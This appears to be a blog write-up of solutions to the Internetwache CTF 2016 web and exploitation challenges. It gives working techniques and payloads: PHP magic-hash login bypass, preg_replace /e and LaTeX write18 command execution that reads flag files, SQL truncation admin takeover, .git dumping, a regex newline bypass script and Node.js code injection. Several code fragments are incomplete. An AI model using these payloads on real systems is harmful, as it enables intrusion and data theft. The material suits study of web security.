Internetwache CTF 2016 Web Writeup



Below you can find my solution for all web tasks from Internetwache CTF.

Proof of Concept:

Web 50


$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");

function clean_hash($hash) {
    return preg_replace("/[^0-9a-f]/","",$hash);

function myhash($str) {
    return clean_hash(md5(md5($str) . "SALT"));

Here you need to notice that $admin_pw hash looks like 0e and then only digits.

I wrote about this here. You can also read more details here.

To sum up, in PHP when hash looks like 0e[0-9]* and are compared using == it is treated as exponent.

So we don’t need to bruteforce hash but found another string which gives us 0e[0-9]*.

I try simple bruteforce:


function myhash($str) {
    return (md5(md5($str) . "SALT"));

$i = 0;
while ($i< 1000000000) {
	if (myhash($i) == '0e408306536730731920197920342119') {
		echo $i;

So final login is pr0_adm1n and password 62778807.

Web 60

Here well known PHP preg_replace with e modifier trick is used.

So we use:

pattern = /^(.*)/e
replacement = `cat flag.php`
subject = strtoupper(\\1)

and got flag.

Web 70

In description we can read: Maybe I shouldn't use the 'admin' account..

So we try login using admin as username and admin as password.

But as you can read here this was bug.

In real solution we should exploit SQL truncation.

So we register account which begins with admin and then a lot of space like:

admin                                                                                                    A

and then we can login to admin account using our password.

Web 80

On website we can read: All people are talking about a tool called 'Git'.

So we try checking .git.

Then I use gitdumper for downloading repo.

git clone .
./ repo
cd repo
git log
git diff 2685

Web 90

In LaTeX we can include external file using \input and \include but both are filtered.

After some Googling I found this.

So we can use \immediate\write18 for execute bash command.

I test it using:

%& -enable-write18
\immediate\write18{sleep 5}

and indeed it sleep 5 seconds.

Next we need to find full flag.php path:

%& -enable-write18
\immediate\write18{cd / && find . -name flag.php}

In response we have:


(./e532e69a942d18742cc6c851e953565d.aux) )
No pages of output.

So now we can display it:

%& -enable-write18
\immediate\write18{cat /var/www/}

Exp 50

Here we have Ruby program which convert 10 characters to int and then sum its value.

If its greater than 1020 flag is displayed.

For checking input, regexp /^[a-f]{10}$/ is used.

After some Googling you can find this.

If you're depending on the regular expression for validation, you always want to use \A and \z. ^ and $ will only match up until a newline character.

So here is solution:

out = "a"*10
out = out + "\nabbb"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("", int("12037")))
j = s.recv(1024)
r = s.recv(1024)
print r

Exp 90

After some trying you will find that command alert gives you:

Interface {
  _sawReturn: false,
  domain: null,
   { close: { [Function: g] listener: [Function] },
     line: [Function] },
  _eventsCount: 2,
  _maxListeners: undefined,
   Socket {
     _connecting: false,
     _hadError: false,

So we know it is Node.js.

After some bruteforce we can found algorithm for encoding commands:

out = ""
for i in range(0, len(a)):
	out = a[i]*6 + out
print out

In next step we find current script source:

a = "console.log(__filename)"

Then we enumerate files in dir and read flag:

a = "var fs = require('fs'); fs.readdir('/home/exp90/', function (err, files) {console.log(files.toString('utf8'));});"
a = "var fs = require('fs'); fs.readFile('/home/exp90/flag.txt', (err, data) => {  if (err) throw err; console.log(data.toString('utf8'));});"